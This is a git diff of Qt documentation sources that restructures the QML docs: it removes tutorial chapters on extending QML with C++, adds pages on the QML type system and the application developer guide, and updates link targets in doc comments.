examples/tutorials/extending/chapter3-bindings/piechart.h 0 -\dots -\snippet examples/tutorials/extending/chapter3-bindings/piechart.h 1 -\dots -\snippet examples/tutorials/extending/chapter3-bindings/piechart.h 2 -\dots -\snippet examples/tutorials/extending/chapter3-bindings/piechart.h 3 - -Then, we emit this signal in \c setPieSlice(): - -\snippet examples/tutorials/extending/chapter3-bindings/piechart.cpp 0 - -It's important for \c setColor() to check that the color value has actually changed -before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and -also prevents loops when other elements respond to the value change. - -The use of bindings is essential to QML. You should always add NOTIFY -signals for properties if they are able to be implemented, so that your -properties can be used in bindings. Properties that cannot be bound cannot be -automatically updated and cannot be used as flexibly in QML. Also, since -bindings are invoked so often and relied upon in QML usage, users of your -custom QML types may see unexpected behavior if bindings are not implemented. - -*/ - -/*! -\title Chapter 4: Using Custom Property Types - -\example examples/tutorials/extending/chapter4-customPropertyTypes - -The \c PieChart type currently has a string-type property and a color-type property. -It could have many other types of properties. For example, it could have an -int-type property to store an identifier for each chart: - -\code - // C++ - class PieChart : public QQuickItem - { - Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged) - ... - - public: - void setChartId(int chartId); - int chartId() const; - ... - - signals: - void chartIdChanged(); - }; - - // QML - PieChart { - ... - chartId: 100 - } -\endcode - -We can also use various other property types. QML has built-in support for the types -listed in the \l{QML Basic Types} documentation, which includes the following: - -\list -\li bool, unsigned int, int, float, double, qreal -\li QString, QUrl, QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\li QVariant -\endlist - -If we want to create a property whose type is not supported by QML by default, -we need to register the type with QML. - -For example, let's replace the use of the \c property with a type called -"PieSlice" that has a \c color property. Instead of assigning a color, -we assign an \c PieSlice value which itself contains a \c color: - -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/app.qml 0 - -Like \c PieChart, this new \c PieSlice type inherits from QQuickItem and declares -its properties with Q_PROPERTY(): - -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0 - -To use it in \c PieChart, we modify the \c color property declaration -and associated method signatures: - -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0 -\dots -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1 -\dots -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2 -\dots -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3 - -There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice -is a visual item, so it must be set as a child of the \c PieChart using -QQuickItem::setParentItem() so that the \c PieChart knows to paint this child -item when its contents are drawn: - -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0 - - -Like the \c PieChart type, the \c PieSlice type has to be registered -using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the -type to the "Charts" module, version 1.0: - -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0 -\dots -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1 -\dots -\snippet examples/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2 - -Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory. - -*/ - - -/*! -\title Chapter 5: Using List Property Types - -\example examples/tutorials/extending/chapter5-listproperties - -Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would -have multiple slices, with different colors and sizes. To do this, we could -have a \c slices property that accepts a list of \c PieSlice items: - -\snippet examples/tutorials/extending/chapter5-listproperties/app.qml 0 - -\image extending-tutorial-chapter5.png - -To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property, -declared as a QQmlListProperty type. The QQmlListProperty class enables the -creation of list properties in QML extensions. We replace the \c pieSlice() -function with a \c slices() function that returns a list of slices, and add -an internal \c append_slice() function (discussed below). We also use a QList to -store the internal list of slices as \c m_slices: - -\snippet examples/tutorials/extending/chapter5-listproperties/piechart.h 0 -\dots -\snippet examples/tutorials/extending/chapter5-listproperties/piechart.h 1 -\dots -\snippet examples/tutorials/extending/chapter5-listproperties/piechart.h 2 - -Although the \c slices property does not have an associated \c WRITE function, -it is still modifiable because of the way QQmlListProperty works. -In the \c PieChart implementation, we implement \c PieChart::slices() to -return a QQmlListProperty value and indicate that the internal -\c PieChart::append_slice() function is to be called whenever a request is made from QML -to add items to the list: - -\snippet examples/tutorials/extending/chapter5-listproperties/piechart.cpp 0 - -The \c append_slice() function simply sets the parent item as before, -and adds the new item to the \c m_slices list. As you can see, the append function for a -QQmlListProperty is called with two arguments: the list property, and -the item that is to be appended. - -The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan -properties and to draw the slice according to these values. This is a straightforward -modification if you have read the previous pages in this tutorial, so the code is not shown here. - -The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory. - -*/ - - -/*! -\title Chapter 6: Writing an Extension Plugin - -\example examples/tutorials/extending/chapter6-plugins - -Currently the \c PieChart and \c PieSlice types are used by \c app.qml, -which is displayed using a QQuickView in a C++ application. An alternative -way to use our QML extension is to create a plugin library to make it available -to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer} -(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and -loading our own C++ application. - -To create a plugin library, we need: - -\list -\li A plugin class that registers our QML types -\li A project file that describes the plugin -\li A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin -\endlist - -First, we create a plugin class named \c ChartsPlugin. It subclasses QQmlExtensionPlugin -and registers our QML types in the inherited \l{QQmlExtensionPlugin::}{registerTypes()} method. It also calls -Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}. - -Here is the \c ChartsPlugin definition in \c chartsplugin.h: - -\snippet examples/tutorials/extending/chapter6-plugins/chartsplugin.h 0 - -And its implementation in \c chartsplugin.cpp: - -\snippet examples/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0 - -Then, we write a \c .pro project file that defines the project as a plugin library -and specifies with DESTDIR that library files should be built into a "lib" subdirectory: - -\quotefile examples/tutorials/extending/chapter6-plugins/chapter6-plugins.pro - -Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine. -In this file, we specify that a plugin named "chapter6-plugin" (the name -of the example project) can be found in the "lib" subdirectory: - -\quotefile examples/tutorials/extending/chapter6-plugins/ChartsPlugin/qmldir - -Now we have a plugin, and instead of having a main.cpp and an executable, we can build -the project and then load the QML file in the \l {QML Viewer}: - -\code - qmlviewer app.qml -\endcode - -(On Mac OS X, you can launch the "QMLViewer" application instead.) - -Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is -because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to -having PieChart.qml and PieSlice.qml files inside the project directory, which could both -be used by \c app.qml without import statements. -*/ - - -/*! -\page qml-extending-tutorial7.html -\title Chapter 7: In Summary - -In this tutorial, we've shown the basic steps for creating a QML extension: - -\list -\li Define new QML types by subclassing QObject and registering them with qmlRegisterType() -\li Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax -\li Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals -\li Define custom property types if the built-in types are not sufficient -\li Define list property types using QQmlListProperty -\li Create a plugin library by defining a Qt plugin and writing a \c qmldir file -\endlist - - -The \l{Extending QML with C++} reference documentation shows -other useful features that can be added to QML extensions. For example, we -could use \l{Default Property}{default properties} to allow -slices to be added without using the \c slices property: - -\code - PieChart { - PieSlice { ... } - PieSlice { ... } - PieSlice { ... } - } -\endcode - -Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}: - -\code - PieChart { - PieSliceRandomizer on slices {} - } -\endcode - - -See the \l{Extending QML with C++} reference documentation -for more information. - -*/ - diff --git a/src/qml/doc/src/qml/basictypes.qdoc b/src/qml/doc/src/typesystem/basictypes.qdoc index 1177a12e94..3c1b849b5b 100644 --- a/src/qml/doc/src/qml/basictypes.qdoc +++ b/src/qml/doc/src/typesystem/basictypes.qdoc @@ -24,20 +24,31 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ - /*! - \page qml-basictypes.html - \ingroup qml-features - \title QML Basic Types - \brief basic data types in QML +\page qtqml-basictypes.html +\title QML Basic Types +\brief Description of basic types provided by the Qt QML module + + +A \e{basic type} is one that refers to a simple value, as opposed to a QML object with properties, signals, methods and so on. + +Basic types can be used to refer to: + +\list +\li A single value (e.g. \l int refers to a single number, \l var can refer to a single list of items) +\li A value that contains a simple set of property-value pairs (e.g. \l size refers to a value with \c width and \c height attributes) +\endlist + +Unlike a QML type, a basic type cannot be used for QML object definitions. It is not possible, for example, to declare an \c int{} object or a \c size{} object. + +See \l {QML Basic Types} for the list of basic types that are supported by the QML engine. Basic types are supported by the engine by default and do not require an \l {Import Statements}{Import Statements} to be used, unlike QML types. + - QML has a set of primitive types, as listed below, that are used throughout - the \l {QML Elements}. \annotatedlist qmlbasictypes To create additional types, such as data types created in C++, read the - \l{C++ Types as QML Types} article. + \l{Defining QML Object Types from C++} article. */ /*! @@ -152,7 +163,7 @@ \endqml Note that as QML requires URL paths, you should use "qrc:///" instead of ":/" for - referring to files stored with the \l{resources.html}{Qt Resource System}. + referring to files stored with the \l {Qt Resource System}. Usually you will only have to do this once, because relative URLs resolved from that file will use the same protocol. diff --git a/src/qml/doc/src/typesystem/objecttypes.qdoc b/src/qml/doc/src/typesystem/objecttypes.qdoc new file mode 100644 index 0000000000..9fb3f192a6 --- /dev/null +++ b/src/qml/doc/src/typesystem/objecttypes.qdoc @@ -0,0 +1,130 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-typesystem-objecttypes.html +\title QML Object Types +\brief describes QML object types and how to create them + + +A QML object type is a type from which a QML object can be instantiated. + +In syntactic terms, a QML object type is one which can be used to declare an object by specifying the \e{type name} followed by a set of curly braces that encompasses the attributes of that object. This differs from \e {basic types}, which cannot be used in the same way. For example, \l Rectangle is a QML object type: it can be used to create \c Rectangle type objects. This cannot be done with primitive types such as \c int and \c bool, which are used to hold simple data types rather than objects. + +Custom QML object types can be defined by creating a .qml file that defines the type, as discussed in \l {qtqml-documents-definetypes.html}{Documents as QML object type definitions}, or by defining a QML type from C++ and registering the type with the QML engine, as discussed in \l{qtqml-registercpptypes.html} +{Registering C++ Types With The QML Type System}. + + +\section1 Creating Object Types from QML + + +\section2 Creating Object Types from QML Documents + +Plugin writers and application developers may provide types defined as QML +documents. A QML document, when visible to the QML import system, defines a +type identified by the name of the file minus the file extensions. + +Thus, if a QML document named "MyButton.qml" exists, it provides the definition +of the "MyButton" type, which may be used in a QML application. + +See the documentation about \l{QML Documents} for +information on how to define a QML document, and the syntax of the QML +language. Once you are familiar with the QML language and how to define QML +documents, see the documentation which explains how to +\l{qtqml-documents-definetypes.html} +{define and use your own reusable QML types in QML documents}. + +See \l {Defining Object Types through QML Documents} for more information. + + + +\section2 Creating Anonymous Types with Component + +Another method of creating object types from within QML is to use the \l Component type. +This allows a type to be defined inline within a QML document, instead of using a separate +document in a \c .qml file. + +\qml +Item { + id: root + width: 500; height: 500 + + Component { + id: myComponent + Rectangle { width: 100; height: 100; color: "red" } + } + + Component.onCompleted: { + myComponent.createObject(root) + myComponent.createObject(root, {"x": 200}) + } +} +\endqml + +Here the \c myComponent object essentially defines an anonymous type that can be instantiated +using \l {Component::createObject} to create objects of this anonymous type. + + +Inline components share all +the characteristics of regular top-level components and use the same \c import +list as their containing QML document. + + + +Note that each \l Component object declaration creates its own \e {component scope}. Any +\e id values used and referred to from within a \l Component object declaration must be +unique within that scope, but do not need to be unique within the document within which the +inline component is declared. So, the \l Rectangle declared in the \c myComponent object +declaration could have an \e id of \c root without conflicting with the \c root declared +for the \l Item object in the same document, as these two \e id values are declared within +different component scopes. + +See \l{qtqml-documents-scope.html}{Scope and Naming Resolution} for more details. + + +\section1 Creating Object Types from C++ + +Plugin writers and application developers may register types defined in C++ +through API provided by the Qt QML module. There are various registration +functions which each allow different use-cases to be fulfilled. + +\list +\li qmlRegisterType +\li qmlRegisterUncreatableType +\li qmlRegisterExtendedType +\li qmlRegisterInterface +\li qmlRegisterCustomType +\li qmlRegisterModuleApi +\endlist + +For more information on this topic, see the documentation regarding +\l{qtqml-cppintegration-registercpptypes.html}{Creating QML Object Types from C++}. + +The QML type-system relies on imports, plugins and extensions being installed +into a known import path. Plugins may be provided by third-party developers +and reused by client application developers. + +*/ diff --git a/src/qml/doc/src/typesystem/topic.qdoc b/src/qml/doc/src/typesystem/topic.qdoc new file mode 100644 index 0000000000..657a311888 --- /dev/null +++ b/src/qml/doc/src/typesystem/topic.qdoc @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-typesystem-topic.html +\title The QML Type System +\brief Description of the QML type system + +The types which may be used in the definition of an object hierarchy in a QML +document can come from various sources. + +\list +\li They may be provided natively by the QML language +\li They may be registered by C++ plugins for QML +\li They may be provided as QML documents by a plugin developer +\endlist + +Furthermore, application developers can provide their own types, either by +registering C++ types directly, or by defining reusable components in QML +documents which can then be imported. + +Wherever the type definitions come from, the engine will enforce type-safety +for properties and instances of those types. + + +\section1 Basic Types + +The Qt QML module provides support for various primitive types including +integers, double-precision floating point numbers, strings, and boolean values. +Objects may have properties of these types, and values of these types may be +passed as arguments to methods of objects. + +See the \l{qtqml-basictypes.html}{Basic Types} documentation for more +information about basic types, or the \l{qtqml-documents-properties.html} +{QML Documents - Object Properties} documentation for more information about +other available property types. + + +\section1 JavaScript types + +JavaScript objects and arrays are supported by the QML engine. Any standard JavaScript type can be created and stored using the generic \l var type. + +For example, the standard \c Date and \c Array types are available, as below: + +\qml +import QtQuick 2.0 + +Item { + property var theArray: new Array() + property var theDate: new Date() + + Component.onCompleted: { + for (var i=0; i<10; i++) + theArray.push("Item " + i) + console.log("There are", theArray.length, "items in the array") + console.log("The time is", theDate.toUTCString()) + } +} +\endqml + +See \l {Using JavaScript Expressions with QML} for more details. + + +\section1 QML Object Types + +A QML object type is a type from which a QML object can be instantiated. + + + + +*/ diff --git a/src/qml/qml/qqmlcomponent.cpp b/src/qml/qml/qqmlcomponent.cpp index ecadc00396..42dbb2baa4 100644 --- a/src/qml/qml/qqmlcomponent.cpp +++ b/src/qml/qml/qqmlcomponent.cpp @@ -118,7 +118,6 @@ static inline QString buildTypeNameForDebug(const QMetaObject *metaObject) \brief The QQmlComponent class encapsulates a QML component definition Components are reusable, encapsulated QML elements with well-defined interfaces. - They are often defined in \l {qdeclarativedocuments.html}{Component Files}. A QQmlComponent instance can be created from a QML file. For example, if there is a \c main.qml file like this: @@ -183,8 +182,6 @@ static inline QString buildTypeNameForDebug(const QMetaObject *metaObject) \endcode Note that the QtQuick 1 version is named QDeclarativeComponent. - - \sa {Using QML Bindings in C++ Applications}, {Integrating QML Code with Existing Qt UI Code} */ /*! @@ -196,7 +193,7 @@ static inline QString buildTypeNameForDebug(const QMetaObject *metaObject) Components are reusable, encapsulated QML elements with well-defined interfaces. - Components are often defined by \l {qdeclarativedocuments.html}{component files} - + Components are often defined by \l {{QML Documents}}{component files} - that is, \c .qml files. The \e Component element essentially allows QML components to be defined inline, within a \l {QML Document}{QML document}, rather than as a separate QML file. This may be useful for reusing a small component within a QML file, or for defining @@ -1082,7 +1079,7 @@ static void QQmlComponent_setQmlParent(QObject *me, QObject *parent) \endjs Dynamically created instances can be deleted with the \c destroy() method. - See \l {Dynamic Object Management in QML} for more information. + See \l {Dynamic QML Object Creation from JavaScript} for more information. \sa incubateObject() */ @@ -1197,7 +1194,7 @@ void QQmlComponent::createObject(QQmlV8Function *args) \endjs Dynamically created instances can be deleted with the \c destroy() method. - See \l {Dynamic Object Management in QML} for more information. + See \l {Dynamic QML Object Creation from JavaScript} for more information. \sa createObject() */ diff --git a/src/qml/qml/qqmlcontext.cpp b/src/qml/qml/qqmlcontext.cpp index 153d8886c3..b8e1e6d09e 100644 --- a/src/qml/qml/qqmlcontext.cpp +++ b/src/qml/qml/qqmlcontext.cpp @@ -156,7 +156,7 @@ QQmlContextPrivate::QQmlContextPrivate() to reevaluate). Thus whenever possible you should complete "setup" of the context before using it to create any objects. - \sa {Using QML Bindings in C++ Applications} + \sa {Exposing C++ Data to QML} */ /*! \internal */ diff --git a/src/qml/qml/qqmlengine.cpp b/src/qml/qml/qqmlengine.cpp index 3017c7336c..6133568426 100644 --- a/src/qml/qml/qqmlengine.cpp +++ b/src/qml/qml/qqmlengine.cpp @@ -300,7 +300,7 @@ The format specification is described at \l{Qt::formatDateTime}{Qt.formatDateTim \section1 Dynamic Object Creation The following functions on the global object allow you to dynamically create QML -items from files or strings. See \l{Dynamic Object Management in QML} for an overview +items from files or strings. See \l{Dynamic QML Object Creation from JavaScript} for an overview of their use. \list diff --git a/src/qml/qml/qqmlextensionplugin.cpp b/src/qml/qml/qqmlextensionplugin.cpp index 667e50a6bf..5ece9d51a3 100644 --- a/src/qml/qml/qqmlextensionplugin.cpp +++ b/src/qml/qml/qqmlextensionplugin.cpp @@ -61,7 +61,7 @@ QT_BEGIN_NAMESPACE \li Subclass QQmlExtensionPlugin, implement registerTypes() method to register types using qmlRegisterType(), and export the class using the Q_EXPORT_PLUGIN2() macro \li Write an appropriate project file for the plugin - \li Create a \l{Writing a qmldir file}{qmldir file} to describe the plugin + \li Create a \l{Syntax of a qmldir file}{qmldir file} to describe the plugin \endlist QML extension plugins can be used to provide either application-specific or @@ -105,7 +105,7 @@ QT_BEGIN_NAMESPACE ... \endcode - Finally, a \l{Writing a qmldir file}{qmldir file} is required in the \c com/nokia/TimeExample directory + Finally, a \l{Syntax of a qmldir file}{qmldir file} is required in the \c com/nokia/TimeExample directory that describes the plugin. This directory includes a \c Clock.qml file that should be bundled with the plugin, so it needs to be specified in the \c qmldir file: @@ -117,9 +117,9 @@ QT_BEGIN_NAMESPACE \snippet examples/qml/cppextensions/plugins/plugins.qml 0 - The full source code is available in the \l {declarative/cppextensions/plugins}{plugins example}. + The full source code is available in the \l {qml/cppextensions/plugins}{plugins example}. - The \l {Tutorial: Writing QML extensions with C++} also contains a chapter + The \l {Tutorial: Extending QML with C++} also contains a chapter on creating QML plugins. Note that the QtQuick 1 version is called QDeclarativeExtensionPlugin. diff --git a/src/qml/qml/qqmllist.cpp b/src/qml/qml/qqmllist.cpp index 14425f22e5..8698ce339e 100644 --- a/src/qml/qml/qqmllist.cpp +++ b/src/qml/qml/qqmllist.cpp @@ -346,9 +346,6 @@ QML list properties are typesafe - in this case \c {Fruit} is a QObject type tha The QtQuick 1 version of this class is named QDeclarativeListProperty. \note QQmlListProperty can only be used for lists of QObject-derived object pointers. - -\sa {Object and List Property Types} - */ /*! diff --git a/src/qml/qml/qquickworkerscript.cpp b/src/qml/qml/qquickworkerscript.cpp index 53eb60eab3..84cbdbba3f 100644 --- a/src/qml/qml/qquickworkerscript.cpp +++ b/src/qml/qml/qquickworkerscript.cpp @@ -561,9 +561,9 @@ void QQuickWorkerScriptEngine::run() /*! \qmlclass WorkerScript QQuickWorkerScript - \ingroup qml-utility-elements + \ingroup qtquick-threading \inqmlmodule QtQuick 2 - \brief Enables the use of threads in QML + \brief Enables the use of threads in a Qt Quick application Use WorkerScript to run operations in a new thread. This is useful for running operations in the background so diff --git a/src/qml/qml/v8/qqmlbuiltinfunctions.cpp b/src/qml/qml/v8/qqmlbuiltinfunctions.cpp index 787197d1d7..19a97d95d0 100644 --- a/src/qml/qml/v8/qqmlbuiltinfunctions.cpp +++ b/src/qml/qml/v8/qqmlbuiltinfunctions.cpp @@ -958,7 +958,7 @@ v8::Handle<v8::Value> atob(const v8::Arguments &args) /*! \qmlmethod Qt::quit() This function causes the QQmlEngine::quit() signal to be emitted. -Within the \l {QML Viewer}, this causes the launcher application to exit; +Within the \l {Prototyping with qmlscene}, this causes the launcher application to exit; to quit a C++ application when this method is called, connect the QQmlEngine::quit() signal to the QCoreApplication::quit() slot. */ @@ -990,7 +990,7 @@ Note that this function returns immediately, and therefore may not work if the \a qml string loads new components (that is, external QML files that have not yet been loaded). If this is the case, consider using \l{QML:Qt::createComponent()}{Qt.createComponent()} instead. -See \l {Dynamic Object Management in QML} for more information on using this function. +See \l {Dynamic QML Object Creation from JavaScript} for more information on using this function. */ v8::Handle<v8::Value> createQmlObject(const v8::Arguments &args) { @@ -1111,7 +1111,7 @@ For example: \snippet qml/createComponent-simple.qml 0 -See \l {Dynamic Object Management in QML} for more information on using this function. +See \l {Dynamic QML Object Creation from JavaScript} for more information on using this function. To create a QML object from an arbitrary string of QML (instead of a file), use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()}. diff --git a/src/qml/doc/snippets/qml/codingconventions/dotproperties.qml b/src/quick/doc/snippets/qml/codingconventions/dotproperties.qml index 75f4629b3e..75f4629b3e 100644 --- a/src/qml/doc/snippets/qml/codingconventions/dotproperties.qml +++ b/src/quick/doc/snippets/qml/codingconventions/dotproperties.qml diff --git a/src/qml/doc/snippets/qml/codingconventions/javascript-imports.qml b/src/quick/doc/snippets/qml/codingconventions/javascript-imports.qml index 5ea66a9b1f..5ea66a9b1f 100644 --- a/src/qml/doc/snippets/qml/codingconventions/javascript-imports.qml +++ b/src/quick/doc/snippets/qml/codingconventions/javascript-imports.qml diff --git a/src/qml/doc/snippets/qml/codingconventions/javascript.qml b/src/quick/doc/snippets/qml/codingconventions/javascript.qml index de3cc21493..de3cc21493 100644 --- a/src/qml/doc/snippets/qml/codingconventions/javascript.qml +++ b/src/quick/doc/snippets/qml/codingconventions/javascript.qml diff --git a/src/qml/doc/snippets/qml/codingconventions/lists.qml b/src/quick/doc/snippets/qml/codingconventions/lists.qml index f99c92b08e..f99c92b08e 100644 --- a/src/qml/doc/snippets/qml/codingconventions/lists.qml +++ b/src/quick/doc/snippets/qml/codingconventions/lists.qml diff --git a/src/qml/doc/snippets/qml/codingconventions/myscript.js b/src/quick/doc/snippets/qml/codingconventions/myscript.js index cfa646250b..cfa646250b 100644 --- a/src/qml/doc/snippets/qml/codingconventions/myscript.js +++ b/src/quick/doc/snippets/qml/codingconventions/myscript.js diff --git a/src/qml/doc/snippets/qml/codingconventions/photo.qml b/src/quick/doc/snippets/qml/codingconventions/photo.qml index 1bd2811e9f..1bd2811e9f 100644 --- a/src/qml/doc/snippets/qml/codingconventions/photo.qml +++ b/src/quick/doc/snippets/qml/codingconventions/photo.qml diff --git a/src/qml/doc/snippets/qml/codingconventions/private.qml b/src/quick/doc/snippets/qml/codingconventions/private.qml index 9aba1d0377..9aba1d0377 100644 --- a/src/qml/doc/snippets/qml/codingconventions/private.qml +++ b/src/quick/doc/snippets/qml/codingconventions/private.qml diff --git a/src/quick/doc/src/paths.qdoc b/src/quick/doc/src/apireference.qdoc index 4e963487a2..c6c255aaa4 100644 --- a/src/quick/doc/src/paths.qdoc +++ b/src/quick/doc/src/apireference.qdoc @@ -26,10 +26,7 @@ ****************************************************************************/ /*! -\group qtquick-paths -\title Qt Quick Paths -\brief Drawing and setting paths - -\section1 Related Types -\generatelist{related} +\page qtquick-apireference.html +\title Qt Quick Module API Reference +\brief Description of the C++ API provided by the Qt Quick module */ diff --git a/src/quick/doc/src/appdevguide/applicationdevelopers.qdoc b/src/quick/doc/src/appdevguide/applicationdevelopers.qdoc new file mode 100644 index 0000000000..2b172ef2d6 --- /dev/null +++ b/src/quick/doc/src/appdevguide/applicationdevelopers.qdoc @@ -0,0 +1,110 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtquick-applicationdevelopers.html +\title QML Application Developer Resources +\brief Essential documentation for QML application developers + +\section1 Overview Of QML and Qt Quick + +\section2 What Is QML? + +QML is a user-interface specification and programming language. +It allows highly performant, fluidly animated, visually appealing applications +to be rapidly developed by either developers or designers. QML offers a +highly-readable, declarative, JSON-like syntax with support for imperative +JavaScript expressions combined with dynamic property bindings. + +\section2 What Is Qt Quick? + +Qt Quick is the standard library of types and functionality for QML. It +includes visual elements, interactive elements, animations, models and views, +particle effects and shader effects. A QML application developer can get +access to all of that functionality with a single import statement. + +\section1 Quick Start + +\list +\li \l{qtquick-quickstart-basics.html}{QML Basics} + \list + \li \l{qtquick-quickstart-basics.html#creating-a-qml-document}{Creating A QML Document} + \li \l{qtquick-quickstart-basics.html#importing-and-using-the-qtquick-module}{Importing And Using The QtQuick Module} + \li \l{qtquick-quickstart-basics.html#loading-and-displaying-the-qml-document}{Loading And Displaying The QML Document} + \endlist +\li \l{qtquick-quickstart-essentials.html}{QML Essentials} + \list + \li \l{qtquick-quickstart-essentials.html#bindings-and-signals}{Bindings And Signals} + \li \l{qtquick-quickstart-essentials.html#handling-user-input}{Handling User Input} + \li \l{qtquick-quickstart-essentials.html#defining-custom-qml-types-for-re-use}{Defining Custom QML Types For Re-use} + \endlist +\endlist + +\section1 Features And Use-Case Solutions + +\list +\li \l{qtquick-usecase-visual.html}{Placing Visual Content And Images In The Window} +\li \l{qtquick-usecase-userinput.html}{Responding To User Input} +\li \l{qtquick-usecase-animations.html}{Animating UI Elements} +\li \l{qtquick-usecase-text.html}{Formatting And Displaying Text} +\li \l{qtquick-usecase-layouts.html}{Complex Layouts} +\li \l{qtquick-usecase-styling.html}{Style And Theme: Look And Feel} +\li \l{qtquick-usecase-integratingjs.html}{Integrating With JavaScript} +\li \l{qtquick-usecase-integratingcpp.html}{Integrating With C++} +\li \l{qtquick-usecase-modules.html}{Creating Modules For QML} +\li \l{qtquick-usecase-multimedia.html}{Playing Sounds And Video In QML} +\endlist + +\section1 Important Application Development Topics + +\list +\li \l{qml-intro.html}{Introduction To QML Application Development} +\li \l{qtquick-performance.html}{Performance Considerations And Suggestions} +\li \l{qtquick-internationalization.html}{Internationalization And Localization} +\li \l{qtquick-glossary.html}{Glossary Of Terms} +\endlist + + +\section1 Testing and Debugging +\list +\li \l{qtquick-qmlscene.html}{Prototyping with qmlscene} +\li \l{qtquick-debugging.html}{Debugging QML Applications} +\li \l{qtquick-qtquicktest.html}{QtQuickTest: QML Unit Testing Framework} +\endlist + +\section1 Further Information About The QML Language + +Please see the documentation for the \l{qtqml-main.html}{Qt QML Module} for +in-depth information about QML documents and the QML language. + +\section1 Further Information About Qt Quick + +Please see the documentation for the \l{qtquick-main.html}{Qt Quick Module} +for in-depth information about the various QML types and other functionality +provided by Qt Quick. + +*/ + diff --git a/src/qml/doc/src/qml/codingconventions.qdoc b/src/quick/doc/src/appdevguide/codingconventions.qdoc index 89a1bd8cb3..89a1bd8cb3 100644 --- a/src/qml/doc/src/qml/codingconventions.qdoc +++ b/src/quick/doc/src/appdevguide/codingconventions.qdoc diff --git a/src/qml/doc/src/debugging.qdoc b/src/quick/doc/src/appdevguide/debugging.qdoc index 11bd82c272..d0b239427b 100644 --- a/src/qml/doc/src/debugging.qdoc +++ b/src/quick/doc/src/appdevguide/debugging.qdoc @@ -26,9 +26,9 @@ ****************************************************************************/ /*! -\page qml-debugging.html +\page qtquick-debugging.html \ingroup qtquick-tools -\title Debugging QML +\title Debugging QML Applications \brief debugging tools in QML \section1 Console API @@ -127,7 +127,7 @@ execution at the point where it is called. When a transition doesn't look quite right, it can be helpful to view it in slow motion to see what is happening more clearly. This functionality is supported -in the \l {QML Viewer} tool: to enable this, +in the \l{qtquick-qmlscene.html}{QML Scene} tool: to enable this, click on the "Debugging" menu, then "Slow Down Animations". @@ -144,8 +144,8 @@ import QtQuick 2.0 Rectangle { width: 100; height: 100 } \endqml -If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer} -(or your QML C++ application), you will see output similar to this: +If you set \c {QML_IMPORT_TRACE=1} before running the \l{qtquick-qmlscene.html} +{QML Scene} (or your QML C++ application), you will see output similar to this: \code QQmlImportDatabase::addImportPath "/qt-sdk/imports" diff --git a/src/qml/doc/src/engine/qmlruntime.qdoc b/src/quick/doc/src/appdevguide/deployment.qdoc index 831323474f..2104bb6552 100644 --- a/src/qml/doc/src/engine/qmlruntime.qdoc +++ b/src/quick/doc/src/appdevguide/deployment.qdoc @@ -26,9 +26,11 @@ ****************************************************************************/ /*! -\page qmlruntime.html -\title Qt Declarative UI Runtime -\brief launching QML based applications through 